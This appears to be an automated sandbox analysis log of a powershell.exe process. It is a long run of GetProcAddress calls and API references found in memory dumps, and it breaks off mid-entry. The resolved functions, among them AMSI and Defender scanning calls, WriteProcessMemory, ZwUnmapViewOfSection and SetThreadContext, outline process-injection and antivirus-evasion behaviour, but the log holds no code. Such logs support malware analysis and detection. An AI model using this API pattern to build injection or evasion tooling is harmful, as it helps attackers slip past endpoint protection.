"powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CheckRemoteDebuggerPresent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005788)35:T5f5f,Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.9F030000.00000004.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 00000000-00005788.00000001.156236.9660A000.00000002.mdmp, 00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp, 